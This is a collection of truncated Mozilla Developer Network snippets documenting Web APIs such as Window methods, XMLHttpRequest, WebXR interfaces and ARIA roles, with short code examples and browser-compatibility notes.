t is a string. that means you should sometimes cast the value given by the user. for example, if their answer should be a number, you should cast the value to number. const anumber = number(window.prompt("type a number", "")); specification specification status comment html living standardthe definition of 'prompt()' in that specification. living standard browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetpromptchrome ...
Window.requestAnimationFrame() - Web APIs
the window.requestanimationframe() method tells the browser that you wish to perform an animation and requests that the browser calls a specified function to update an animation before the next repaint. the method takes a callback as an argument to be invoked before the repaint. note: your callback routine must itself call requestanimationframe() if you want to animate another frame at the next repaint. you should call this method whenever you're ready to update your animation onscreen. this will request that your animation function be called before the browser performs the next repaint. the number of callbacks is usually 60 times per second, but will generally match the display refresh rate in most web browsers as per w3c recommendation. requestanimationframe() calls are paused in most bro...
Window.resizeBy() - Web APIs
Web › API › Window › resizeBy
ber of pixels to grow the window vertically. example // shrink the window window.resizeby(-200, -200); notes this method resizes the window relative to its current size. to resize the window in absolute terms, use window.resizeto(). creating and resizing an external window for security reasons, it's no longer possible in firefox for a website to change the default size of a window in a browser if the window wasn’t created by window.open(), or contains more than one tab. see the compatability table for details on the change. even if you create window by window.open() it is not resizable by default. to make the window resizable, you must open it with the "resizable" feature. // create resizable window myexternalwindow = window.open("http://myurl.domain", "mywindowname", "resizabl...
Window.restore() - Web APIs
Web › API › Window › restore
this method is currently not working, but you can use: window.moveto(window.screenx, window.screeny); browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetrestorechrome no support noedge no support nofirefox no support noie ? opera ? safari ? webvi...
Window.scroll() - Web APIs
Web › API › Window › scroll
this method. for relative scrolling, see window.scrollby(), window.scrollbylines(), and window.scrollbypages(). for scrolling elements, see element.scrolltop and element.scrollleft. specification specification status comment css object model (cssom) view modulethe definition of 'window.scroll()' in that specification. working draft initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetscrollchrome ...
Window.scrollBy() - Web APIs
Web › API › Window › scrollBy
indow.scrollby() scrolls by a particular amount, whereas window.scroll() scrolls to an absolute position in the document. see also window.scrollbylines() and window.scrollbypages(). specification specification status comment css object model (cssom) view modulethe definition of 'window.scrollby()' in that specification. working draft initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetscrollbychrome ...
Window.self - Web APIs
Web › API › Window › self
k not only in a window context (self will resolve to window.self) but also in a worker context (self will then resolve to workerglobalscope.self). example uses of window.self like the following could just as well be replaced by window. ...
Window.setImmediate() - Web APIs
this method is not expected to become standard, and is only implemented by recent builds of internet explorer and node.js 0.10+. it meets resistance both from gecko (firefox) and webkit (google/apple). syntax var immediateid = setimmediate(func, [param1, param2, ...]); var immediateid = setimmediate(func); where immediateid is the id of the immediate which can be used later with window.clearimmediate. func is the function you wish to call. ...
Window.sidebar - Web APIs
Web › API › Window › sidebar
methods the sidebar object returned has the following methods: method description (seamonkey) description (firefox) addpanel(title, contenturl, "") adds a sidebar panel. obsolete since firefox 23 (only present in seamonkey). end users can use the "load this bookmark in the sidebar" option instead. also see creating a firefox sidebar. addpersistentpanel(title, contenturl, "") adds a sidebar panel, which is able to work in the background. addsearchprovider(descriptionurl) dummy function; does nothing. ...
Window.status - Web APIs
Web › API › Window › status
however, the html standard now requires setting window.status to have no effect on the text displayed in the status bar. ...
Window.statusbar - Web APIs
Web › API › Window › statusbar
the visible property of the various "bar" objects is used, and also the change to the privileges necessary to write to the visible property of any of the bars on an existing window. <!doctype html> <html lang="en"> <head> <meta charset="utf-8" /> <title>various dom tests</title> <script> // changing bar states on the existing window netscape.security.privilegemanager.enableprivilege("universalbrowserwrite"); window.statusbar.visible=!window.statusbar.visible; </script> </head> <body> <p>various dom tests</p> </body> </html> notes when you load the example page above, the browser displays the following dialog: to toggle the visibility of these bars, you must either sign your scripts or enable the appropriate privileges, as in the example above. also be aware that dynamically updating...
Window.toolbar - Web APIs
Web › API › Window › toolbar
le property of any of the bars on an existing window. due to deprecation of enableprivilege this functionality can not be used in web pages. enableprivilege is disabled in firefox 15 and will be removed in firefox 17. <!doctype html> <html> <head> <title>various dom tests</title> <script> // changing bar states on the existing window netscape.security.privilegemanager.enableprivilege("universalbrowserwrite"); window.toolbar.visible=!window.toolbar.visible; </script> </head> <body> <p>various dom tests</p> </body> </html> notes when you load the example page above, the browser displays the following dialog: to toggle the visibility of these bars, you must either sign your scripts or enable the appropriate privileges, as in the example above. also be aware that dynamically updating the...
WindowClient - Web APIs
the service worker client independently selects and uses a service worker for its own loading and sub-resources. methods windowclient inherits methods from its parent interface, client. windowclient.focus() gives user input focus to the current client. windowclient.navigate() loads a specified url into a controlled client page. properties windowclient inherits properties from its parent interface, client. ...
WindowEventHandlers.onlanguagechange - Web APIs
the list is accessible via navigatorlanguage.languages. ...
WindowEventHandlers.onpopstate - Web APIs
y entries for the same document. if the activated history entry was created by a call to history.pushstate(), or was affected by a call to history.replacestate(), the popstate event's state property contains a copy of the history entry's state object. note: calling history.pushstate() or history.replacestate() won't trigger a popstate event. the popstate event is only triggered by performing a browser action, such as clicking on the back button (or calling history.back() in javascript), when navigating between two history entries for the same document. syntax window.onpopstate = funcref; funcref is a handler function. examples for example, a page at http://example.com/example.html running the following code will generate alerts as indicated: window.onpopstate = function(event) { ...
WindowEventHandlers.onunload - Web APIs
syntax window.addeventlistener("unload", function(event) { ... }); window.onunload = function(event) { ... ...
WindowOrWorkerGlobalScope.atob() - Web APIs
rs such as ascii values 0 through 31. for use with unicode or utf-8 strings, see the note on "unicode strings" in the page for btoa(). syntax var decodeddata = scope.atob(encodeddata); parameters encodeddata a binary string contains an base64 encoded data. return value an ascii string containing decoded data from encodeddata. exceptions domexception (name: invalidcharactererror) throws if encodeddata is not valid base64. example const encodeddata = window.btoa('hello, world'); // encode a string const decodeddata = window.atob(encodeddata); // decode the string polyfill you can use a polifill from https://github.com/maxart2501/base64-js/blob/master/base64.js for browsers that don't support it. specifications specification status comment html l...
WindowOrWorkerGlobalScope.btoa() - Web APIs
specifications specification status comment html living standardthe definition of 'windoworworkerglobalscope.btoa()' in that specification. living standard method moved to the windoworworkerglobalscope mixin in the latest spec. html 5.1the definition of 'windowbase64.btoa()' in that specification. recommendation snapshot...
WindowOrWorkerGlobalScope.fetch() - Web APIs
icy rather than the directive of the resources it's retrieving. note: the fetch() method's parameters are identical to those of the request() constructor. syntax const fetchresponsepromise = fetch(resource [, init]) parameters resource this defines the resource that you wish to fetch. this can either be: a usvstring containing the direct url of the resource you want to fetch. some browsers accept the blob: and data: schemes. a request object. init optional an object containing any custom settings that you want to apply to the request. the possible options are: method the request method, e.g., get, post. note that the origin header is not set on fetch requests with a method of head or get. (this behavior was corrected in firefox 65 — see bug 1508661). heade...
WindowOrWorkerGlobalScope - Web APIs
s of fetching a resource from the network. windoworworkerglobalscope.queuemicrotask() enqueues a microtask—a short function to be executed after execution of the javascript code completes and control isn't being returned to a javascript caller, but before handling callbacks and other tasks. this lets your code run without interfering with other, possibly higher priority, code, but before the browser runtime regains control, potentially depending upon the work you need to complete. windoworworkerglobalscope.setinterval() schedules a function to execute every time a given number of milliseconds elapses. windoworworkerglobalscope.settimeout() schedules a function to execute in a given amount of time. specifications specification status comment html living st...
WindowProxy - Web APIs
a windowproxy object is a wrapper for a window object. a windowproxy object exists in every browsing context. all operations performed on a windowproxy object will also be applied to the underlying window object it currently wraps. therefore, interacting with a windowproxy object is almost identical to directly interacting with a window object. when a browsing context is navigated, the window object its windowproxy wraps is changed. specifications specification status comment html living standardthe definition of 'windowproxy' in that specification. living standard initial definition. ...
WorkerGlobalScope.dump() - Web APIs
returns void. example to write an output from your worker to your computer's terminal, you first have to run an instance of firefox started from your command line/terminal. for example, on mac os x you'd run it using something like this (assuming you are inside the applications folder): ./firefox.app/contents/macos/firefox-bin -profile /tmp -no-remote now go into about:config and enable the browser.dom.window.dump.enabled pref. next, run a worker containing the following line: dump('test\n'); this should result in a "test" message being output to the terminal. specifications this method does not appear in any specification. ...
WorkerGlobalScope.location - Web APIs
syntax var locationobj = self.location; value a workerlocation object. ...
WorkerGlobalScope.navigator - Web APIs
syntax var navigatorobj = self.navigator; value a workernavigator object. ...
WorkerGlobalScope.onclose - Web APIs
syntax self.onclose = function() { ... ...
WorkerNavigator.permissions - Web APIs
value a permissions object. examples self.navigator.permissions.query({name:'notifications'}).then(function(result) { if (result.state === 'granted') { shownotification(); } else if (result.state === 'prompt') { requestnotificationpermission() } }); specification specification status comment permissions working draft initial definition. browser support the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetpermissions experimentalchrom...
WritableStream - Web APIs
this is why the example calls defaultwriter.ready twice (lines 9 and 22). the promise returned by the sink's write() method (line 40) tells the writablestream and its writer when to resolve defaultwriter.ready. specifications specification status comment streamsthe definition of 'writablestream' in that specification. living standard initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetwritablestream experime...
WritableStreamDefaultWriter.ready - Web APIs
.then(function() { defaultwriter.close() .then(function() { console.log("all chunks written"); }) .catch(function(err) { console.log("stream error: " + err); }); }); }); } specifications specification status comment streamsthe definition of 'ready' in that specification. living standard initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetready experimentalchrome...
XDomainRequest - Web APIs
this interface can send both get and post requests. ...
How to check the security state of an XMLHTTPRequest over SSL - Web APIs
n that prints the security details of an xmlhttprequest sent over ssl. the function is passed the channel property of an xmlhttprequest to extract the following information: was the connection secure? was the used ssl certificate valid and what are its details (owner, expiration, certificate authority, etc.)? notes: this code requires elevated privileges to run; you can only call it from a browser extension or from a xulrunner application. the channel property becomes available only after the request is sent and the connection was established, that is, on readystate loaded, interactive or completed. by setting the mozbackgroundrequest property of the request object and modifying the example appropriately, you can create your own alert dialog to handle ssl exceptions in your firefox ext...
Synchronous and asynchronous requests - Web APIs
nchronous communications. in general, however, asynchronous requests should be preferred to synchronous requests for performance reasons. synchronous requests block the execution of code which causes "freezing" on the screen and an unresponsive user experience. asynchronous request if you use an asynchronous xmlhttprequest, you receive a callback when the data has been received. this lets the browser continue to work as normal while your request is being handled. example: send a file to the console log this is the simplest usage of asynchronous xmlhttprequest. var xhr = new xmlhttprequest(); xhr.open("get", "/bar/foo.txt", true); xhr.onload = function (e) { if (xhr.readystate === 4) { if (xhr.status === 200) { console.log(xhr.responsetext); } else { console.error(xh...
XMLHttpRequest() - Web APIs
can enable anonymous mode (see bug 692677). setting the mozanon flag to true effectively resembles the anonxmlhttprequest() constructor described in older versions of the xmlhttprequest specification. const request = new xmlhttprequest(paramsdictionary); parameters (non-standard) objparameters there are two flags you can set: mozanon boolean: setting this flag to true will cause the browser not to expose the origin and user credentials when fetching resources. most important, this means that cookies will not be sent unless explicitly added using setrequestheader. mozsystem boolean: setting this flag to true allows making cross-site connections without requiring the server to opt-in using cors. requires setting mozanon: true, i.e. this can't be combined with sending cookies or ...
XMLHttpRequest.getAllResponseHeaders() - Web APIs
me-options: deny\r\n content-type: text/html; charset=utf-8\r\n connection: keep-alive\r\n strict-transport-security: max-age=63072000\r\n vary: cookie, accept-encoding\r\n content-length: 6502\r\n x-xss-protection: 1; mode=block\r\n each line is terminated by both carriage return and line feed characters (\r\n). these are essentially delimiters separating each of the headers. note: in modern browsers, the header names are returned in all lower case, as per the latest spec. example this example examines the headers in the request's readystatechange event handler, xmlhttprequest.onreadystatechange. the code shows how to obtain the raw header string, as well as how to convert it into an array of individual headers and then how to take that array and create a mapping of header names to thei...
XMLHttpRequest.open() - Web APIs
ously. if this value is false, the send() method does not return until the response is received. if true, notification of a completed transaction is provided using event listeners. this must be true if the multipart attribute is true, or an exception will be thrown. note: synchronous requests on the main thread can be easily disruptive to the user experience and should be avoided; in fact, many browsers have deprecated synchronous xhr support on the main thread entirely. synchronous requests are permitted in workers. user optional the optional user name to use for authentication purposes; by default, this is the null value. password optional the optional password to use for authentication purposes; by default, this is the null value. specifications specification status ...
XMLHttpRequest.responseType - Web APIs
synchronous mode but not in a worker. for additional details, see synchronous xhr restrictions below. usage notes synchronous xhr restrictions you cannot change the value of responsetype in a synchronous xmlhttprequest except when the request belongs to a worker. this restriction is designed in part to help ensure that synchronous operations aren't used for large transactions that block the browser's main thread, thereby bogging down the user experience. xmlhttprequests are asynchronous by default; they are only placed in synchronous mode by passing false as the value of the optional async parameter when calling open(). restrictions in workers attempts to set the value of responsetype to document are ignored in a worker. specifications specification status comment ...
XMLHttpRequest.sendAsBinary() - Web APIs
inary(binarystring); parameters binarystring a domstring which encodes the binary content to be sent. you can create the binary string using the filereader method readasbinarystring(). the string is converted to binary for transfer by removing the high-order byte of each character. return value undefined. polyfill since sendasbinary() is an experimental feature, here is a polyfill for browsers that don't support the sendasbinary() method but support typed arrays. /*\ |*| |*| :: xmlhttprequest.prototype.sendasbinary() polyfill :: |*| |*| https://developer.mozilla.org/docs/dom/xmlhttprequest#sendasbinary() |*| \*/ if (!xmlhttprequest.prototype.sendasbinary) { xmlhttprequest.prototype.sendasbinary = function (sdata) { var nbytes = sdata.length, ui8data = new uint8array(nbytes...
XMLHttpRequest.status - Web APIs
the read-only xmlhttprequest.status property returns the numerical http status code of the xmlhttprequest's response. before the request completes, the value of status is 0. browsers also report a status of 0 in case of xmlhttprequest errors. example var xhr = new xmlhttprequest(); console.log('unsent: ', xhr.status); xhr.open('get', '/server'); console.log('opened: ', xhr.status); xhr.onprogress = function () { console.log('loading: ', xhr.status); }; xhr.onload = function () { console.log('done: ', xhr.status); }; xhr.send(); /** * outputs the following: * * unsent: 0 * opened: 0 * loading: 200 * done: 200 */ specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequest - Web APIs
ko 6 read only arraybuffer. the response to the request, as a javascript typed array. xmlhttprequest.multipartobsolete since gecko 22 this gecko-only feature, a boolean, was removed in firefox/gecko 22. please use server-sent events, web sockets, or responsetext from progress events instead. event handlers onreadystatechange as a property of the xmlhttprequest instance is supported in all browsers. since then, a number of additional event handlers have been implemented in various browsers (onload, onerror, onprogress, etc.). see using xmlhttprequest. more recent browsers, including firefox, also support listening to the xmlhttprequest events via standard addeventlistener() apis in addition to setting on* properties to a handler function. methods xmlhttprequest.abort() aborts the ...
XRPermissionDescriptor.optionalFeatures - Web APIs
ace tries to keep the origin stable relative to the environment. xrreferencespace local-floor similar to the local type, except the starting position is placed in a safe location for the viewer to stand, where the value of the y axis is 0 at floor level. if that floor level isn't known, the user agent will estimate the floor level. if the estimated floor level is non-zero, the browser is expected to round it such a way as to avoid fingerprinting (likely to the nearest centimeter). xrreferencespace unbounded a tracking space which allows the user total freedom of movement, possibly over extremely long distances from their origin point. the viewer isn't tracked at all; tracking is optimized for stability around the user's current position, so the native origin m...
XRPermissionDescriptor.requiredFeatures - Web APIs
ace tries to keep the origin stable relative to the environment. xrreferencespace local-floor similar to the local type, except the starting position is placed in a safe location for the viewer to stand, where the value of the y axis is 0 at floor level. if that floor level isn't known, the user agent will estimate the floor level. if the estimated floor level is non-zero, the browser is expected to round it such a way as to avoid fingerprinting (likely to the nearest centimeter). xrreferencespace unbounded a tracking space which allows the user total freedom of movement, possibly over extremely long distances from their origin point. the viewer isn't tracked at all; tracking is optimized for stability around the user's current position, so the native origin m...
XRPermissionStatus.granted - Web APIs
ace tries to keep the origin stable relative to the environment. xrreferencespace local-floor similar to the local type, except the starting position is placed in a safe location for the viewer to stand, where the value of the y axis is 0 at floor level. if that floor level isn't known, the user agent will estimate the floor level. if the estimated floor level is non-zero, the browser is expected to round it such a way as to avoid fingerprinting (likely to the nearest centimeter). xrreferencespace unbounded a tracking space which allows the user total freedom of movement, possibly over extremely long distances from their origin point. the viewer isn't tracked at all; tracking is optimized for stability around the user's current position, so the native origin m...
XRReferenceSpace.getOffsetReferenceSpace() - Web APIs
ser look around by right-clicking and moving the mouse to change the viewing angle. first, we add an event handler for mousemove events, which calls our code to perform the rotation if the right mouse button is down. note also that we set oncontextmenu up to be ignored by calling preventdefault() on those events. this prevents the right-clicks from causing the context menu from appearing in the browser. canvas.oncontextmenu = (event) => { event.preventdefault(); }; canvas.addeventlistener("mousemove", (event) => { if (event.buttons & 2) { rotateviewby(event.movementx, event.movementy); } }); next, the rotateviewby() function, which updates the mouse look direction's yaw and pitch based on the mouse delta values from the mousemove event. the pitch is restricted so that you can't loo...
XRReferenceSpaceType - Web APIs
ace tries to keep the origin stable relative to the environment. xrreferencespace local-floor similar to the local type, except the starting position is placed in a safe location for the viewer to stand, where the value of the y axis is 0 at floor level. if that floor level isn't known, the user agent will estimate the floor level. if the estimated floor level is non-zero, the browser is expected to round it such a way as to avoid fingerprinting (likely to the nearest centimeter). xrreferencespace unbounded a tracking space which allows the user total freedom of movement, possibly over extremely long distances from their origin point. the viewer isn't tracked at all; tracking is optimized for stability around the user's current position, so the native origin m...
XRRenderState - Web APIs
scene prior to it being presented on the xr device's display or displays. when you apply changes using the xrsession method updaterenderstate(), the specified changes take effect after the current animation frame has completed, but before the next one begins. properties the followiing properties are available on xrrenderstate objects. baselayer read only the xrwebgllayer from which the browser's compositing system obtains the image for the xr session. depthfar read only the distance, in meters, of the far clip plane from the viewer. the far clip plane is the plane which is parallel to the display beyond which rendering of the scene no longer takes place. this, essentially, specifies the maximum distance the user can see. depthnear read only the distance, in meters, of the n...
XRSession.requestAnimationFrame() - Web APIs
the specified callback is executed once before the next repaint; if you wish for it to be executed for the following repaint, you must call requestanimationframe() again. this can be done from within the callback itself. the callback takes two parameters as inputs: an xrframe describing the state of all tracked objects for the session, and a time stamp you can use to compute any animation updates needed. ...
XRSession.requestReferenceSpace() - Web APIs
ace tries to keep the origin stable relative to the environment. xrreferencespace local-floor similar to the local type, except the starting position is placed in a safe location for the viewer to stand, where the value of the y axis is 0 at floor level. if that floor level isn't known, the user agent will estimate the floor level. if the estimated floor level is non-zero, the browser is expected to round it such a way as to avoid fingerprinting (likely to the nearest centimeter). xrreferencespace unbounded a tracking space which allows the user total freedom of movement, possibly over extremely long distances from their origin point. the viewer isn't tracked at all; tracking is optimized for stability around the user's current position, so the native origin m...
XRSession - Web APIs
Web › API › XRSession
lue which can be used to identify the request for the purposes of canceling the callback using cancelanimationframe(). this method is comparable to the window.requestanimationframe() method. requestreferencespace() requests that a new xrreferencespace of the specified type be created. returns a promise which resolves with the xrreferencespace or xrboundedreferencespace which was requested, or throws a notsupportederror if the requested space type isn't supported by the device. updaterenderstate() updates the properties of the session's render state to match the values specified in the specified xrrenderstateinit dictionary. any properties not included in the given dictionary are left unchanged from their current values. events the following events are delivered to xrsession objects. ...
XRSessionMode - Web APIs
es the xrsessionmode type indicates the values that can be specified when calling xr.issessionsupported() to determine whether or not the specified session type is supported and available to be used, and by requestsession() to attempt to open a new webxr session. the immersive-ar mode supports all the same features and reference spaces that immersive-vr does, since both are immersive sessions. browsers may support either or both of these modes, but if webxr is available, the inline mode is always supported. specifications specification status comment webxr device apithe definition of 'xrsessionmode' in that specification. working draft initial definition. webxr augmented reality modulethe definition of 'xrsessionmode: immersive-ar' in that specifi...
XRSystem: isSessionSupported() - Web APIs
syntax var issupportedpromise = xr.issessionsupported(xrsessionmode) parameters xrsessionmode a domstring specifying the webxr session mode for which support is to be checked. ...
XRSystem - Web APIs
Web › API › XRSystem
the augmented reality (ar) or virtual reality (vr) device. properties while xrsystem directly offers no properties, it does inherit properties from its parent interface, eventtarget. methods in addition to inheriting methods from its parent interface, eventtarget, the xrsystem interface includes the following methods: issessionsupported() returns a promise which resolves to true if the browser supports the given xrsessionmode. resolves to false if the specified mode isn't supported. requestsession() returns a promise that resolves to a new xrsession with the specified xrsessionmode. events devicechange sent when the set of available xr devices has changed. also available using the ondevicechange event handler. usage notes thsi interface was previously known as simply ...
XRWebGLLayer() - Web APIs
new xrwebgllayer. the options available are: alpha optional the frame buffer's color buffer will be established with an alpha channel if the alpha boolean property is true. otherwise, the color buffer will not have an alpha channel. the default value is true. antialias optional a boolean value which is true if anti-aliasing is to be used when rendering in the context; otherwise false. the browser selects the anti-aliasing method to use; there is no support for requesting a specific mode yet. the default value is true. depth optional a boolean value which, if true, requests that the new layer have a depth buffer; otherwise, no depth layer is allocated. the default is true. framebufferscalefactor optional a floating-point value which is used to scale the image during compositing, wit...
XRWebGLLayer.framebuffer - Web APIs
er. opaque framebuffers will not have an alpha channel available unless the alpha property is true when creating the layer. the xr compositor assumes that opaque framebuffers use colors with premultiplied allpha, regardless of whether or not the webgl context's premultipliedalpha context attribute is set. note: the depth and stencil properties are not required to be supported in order for a browser to be construed as having full webgl support. the default configuration of a new framebuffer upon creating a new xrwebgllayer, its new framebuffer is initialized just like the default framebuffer for any webgl interface: the color buffer is configured with its clear value set to the color (0, 0, 0, 0) (meaning transparent black). the depth buffer's clear value is the number 1.0. the ste...
XRWebGLLayer.getNativeFramebufferScaleFactor() static method - Web APIs
cal applications an acceptable balance of image quality and performance. for example, consider a device which uses a 2560x1440 pixel frame buffer (which is used to render two views, for the left and right eyes, side by side each at a resolution of 1280x1440 pixels). consider a frame buffer which at full size looks like this: if, on this device, it's determined that due to gpu limitations the browser needs to reduce image quality in order to improve performance to an acceptable level, it might choose to halve the resolution. in this case, the value returned by xrwebgllayer.getnativeframebufferscalefactor() will be 2.0. this method of dividing the frame buffer between views is shown in the following diagram. now the width and height of the frame buffer are 50% what they were before, resul...
XRWebGLLayerInit - Web APIs
must conform to this dictionary. properties alpha optional the frame buffer's color buffer will be established with an alpha channel if the alpha boolean property is true. otherwise, the color buffer will not have an alpha channel. the default value is true. antialias optional a boolean value which is true if anti-aliasing is to be used when rendering in the context; otherwise false. the browser selects the anti-aliasing method to use; there is no support for requesting a specific mode yet. the default value is true. depth optional a boolean value which, if true, requests that the new layer have a depth buffer; otherwise, no depth layer is allocated. the default is true. framebufferscalefactor optional a floating-point value which is used to scale the image during compositing, wit...
Generating HTML - Web APIs
the second example will transform the input document (example2.xml), which again contains information about an article, into an html document. the <body> element of the article now contains html elements (a <b> and <u> tag, see figure 2). the xml document contains both html elements and xml elements, but only one namespace is needed, namely for the xml elements. since there is no html namespace, and using the xhtml namespace would force the xsl to create an xml document that would not behave like a html document, the xsl:output in the xsl stylesheet will make sure the resulting document will be handled as html. ...
msGetPropertyEnabled - Web APIs
e is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the msgetpropertyenabled returns whether a given property in the style object is enabled. this proprietary method is specific to internet explorer browser. syntax var retval = style.msgetpropertyenabled(name); parameters name [in] type: string the name of the property to enable. return value type: boolean if false, the property is not enabled. if true, the property is enabled. see also microsoft api extensions ...
msGetRegionContent - Web APIs
not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the msgetregioncontent returns an array of range instances corresponding to the content from the region flow that is positioned in the region. this proprietary method is specific to internet explorer browser. syntax var retval = element.msgetregioncontent(); parameters retval [out, reval] type: msrangecollection the name of the property to enable. return value type: boolean returned ranges are sorted by document position and do not overlap. if an element is not a region, this method throws a domexception with the invalidaccesserror error code. this is only available to regions that are ...
ARIA live regions - Accessibility
n. use this with aria-valuemin, aria-valuenow and aria-valuemax. (tbd: add more info here). marquee for text which scrolls, such as a stock ticker. timer or any kind of timer or clock, such as a countdown timer or stopwatch readout. advanced live regions (tbd: more granular information on the support of the individual attributes with combinations of os/browser/at). general support for live regions was added to jaws on version 10.0. in windows eyes supports live regions since version 8.0 "for use outside of browse mode for microsoft internet explorer and mozilla firefox". nvda added some basic support for live regions for mozilla firefox back in 2008 and was improved in 2010 and 2014. in 2015, basic support was also added for internet explorer (mshtm...
ARIA Screen Reader Implementors Guide - Accessibility
lly present some changes unless the user configures all live changes to off. for example, automatically speak changes that are caused by the user's own input, as part of the context of that input. allow global settings to turn off the presentation of live changes, present all live changes, use markup, or be "smart" (use heuristics) details for processing via platform accessibility apis we hope browser manufacturers will work to provide consistent implementations. the most complete implementation of live regions currently is in firefox 3. here is how wai-aria live regions are exposed in firefox 3. ...
Using the alert role - Accessibility
description this technique demonstrates how to use the alert role and describes the effect it has on browsers and assistive technology. the alert role is used to communicate an important and usually time-sensitive message to the user. when this role is added to an element, the browser will send out an accessible alert event to assistive technology products which can then notify the user about it. the alert role is most useful for information that requires the user's immediate attention, for example: an invalid value was entered into a form field the user's login session is about to expire the connection to the server was lost, local changes will not be saved because of its intrusive nature, the alert role must be used sparingly and only in situations where the user's immedi...
Using the aria-hidden attribute - Accessibility
element. additionally, since this attribute is inherited by an element's children, it should not be added onto the parent or ancestor of a focusable element. using aria-hidden="false" will not re-expose the element to assistive technology if any of its parents specify aria-hidden="true". wai-aria authoring practices 1.1 notes that aria-hidden="false" currently behaves inconsistently across browsers. deciding between aria-hidden="true", role="presentation", and role="none" on the surface, the aria-hidden="true", role="presentation", and role="none" attributes seem similar because they: hide content from assistive technology cannot be used on a focusable element cannot be used on the parent of an interactive element despite these similarities, the intent behind each attribute is ...
Using the article role - Accessibility
e is similar to the html5 article element; however the article element should still be given the aria role of article, since not all assistive technologies support html5 yet. possible effects on user agents and assistive technology when the user navigates an element assigned the role of article, assistive technologies that typically intercept standard keyboard events should switch to document browsing mode, as opposed to passing keyboard events through to the web application. assistive technologies may provide a feature allowing the user to navigate the hierarchy of any nested article elements. note: opinions may differ on how assistive technology should handle this technique. the information provided above is one of those opinions and therefore not normative. examples <article role="ar...
Using the group role - Accessibility
description this technique demonstrates how to use the group role and describes the effect it has on browsers and assistive technology. the group role is used to identify a set of user interface objects which, in contrast with a region, are not intended to be included in a table of contents or a page summary (such as the structures that are dynamically created by a script or assistive technologies); a group should not be considered a major perceivable section on a page. when the role is added to an element, the browser will send out an accessible group event to assistive technology products which can then notify the user about it. a group should be used to form a logical collection of items with related functionality, such as children in a tree widget forming a collection of sibling...
Using the log role - Accessibility
description this technique demonstrates how to use the log role and describes the effect it has on browsers and assistive technology. the log role is used to identify an element that creates a live region where new information is added in a meaningful order and old information may disappear. for example, chat logs, messaging history or an error log. in contrast to other types of live region, this role is sequentially ordered and new information is only added to the end of the log. when this role is added to an element, the browser will send out an accessible log event to assistive technology products which can then notify the user about it. by default updates contain only the changes to the live region and these are announced when the user is idle. where the user needs to hear the e...
Using the presentation role - Accessibility
the presentation role is used to remove semantic meaning from an element and any of its related child elements. for example, a table used for layout purposes could have the presentation role applied to the table element to remove any semantic meaning from the table element and any of its table related children elements, such as table headers and table data elements. non-table related elements should retain their semantic meaning, however. ...
Using the progressbar role - Accessibility
the progressbar role should be used for an element that displays the progress status for a task that take a long time or consists of several steps. a progressbar indicates that the user's request has been received and the application is making progress toward completing the requested action. if the actual value of the progressbar can be determined, the developer has to indicate this progress using the aria-valuenow, aria-valuemin, and aria-valuemax attributes. if the progress value is indeterminate, the developer should omit the aria-valuenow attribute. ...
Using the radio role - Accessibility
possible effects on user agents and assistive technology note: opinons may differ on how assistive technology should handle this technique. the information provided above is one of those opinions and therefore not normative. examples example 1: example from the basic form hints mdn page. ...
Using the toolbar role - Accessibility
possible effects on user agents and assistive technology note: opinons may differ on how assistive technology should handle this technique. the information provided above is one of those opinions and therefore not normative. ...
ARIA annotations - Accessibility
ggestion and when, and associate it with the suggestion via aria-details: <p>freida’s pet is a <span role="suggestion" aria-details="comment-source"><span role="deletion">black cat called luna</span><span role="insertion">purple tyrannosaurus rex called tiny</span></span>. ...
How to file ARIA-related bugs - Accessibility
xamples page. ...
ARIA: alert role - Accessibility
alert" to an element that has display: none; by default. when the display value is changed with css or javascript, it would automatically trigger the screen reader to read out the content. <p role="alert" style="display: none;">the alert will trigger when the element becomes visible.</p> while triggering an alert via css alone is possible, it is better to rely on javascript because it has more browser/screen reader support and is often more appropriate as part of a larger user interaction such as inside an event handler or form validation. with javascript, developers control the adding and removing of alerts as appropriate. <button type="button" onclick="triggeralert">trigger alert</button> <p class="alert">the alert will trigger when the button is pressed.</p> function triggeralert() { ...
ARIA: Complementary role - Accessibility
el="sponsors"> <!-- content --> </aside> redundant descriptions screen readers will announce the type of role the landmark is. because of this, you do not need to describe what the landmark is in its label. for example, a declaration of role="complementary" with an of aria-label="sidebar" may be announced redundantly as, "complementary sidebar". added benefits certain technologies such as browser extensions can generate lists of all landmark roles present on a page, allowing non-screen reader users to also quickly identify and navigate to large sections of the document. landmarks browser extension specifications specification status accessible rich internet applications (wai-aria) 1.1the definition of 'aria: complementary role' in that specification. recomm...
ARIA: contentinfo role - Accessibility
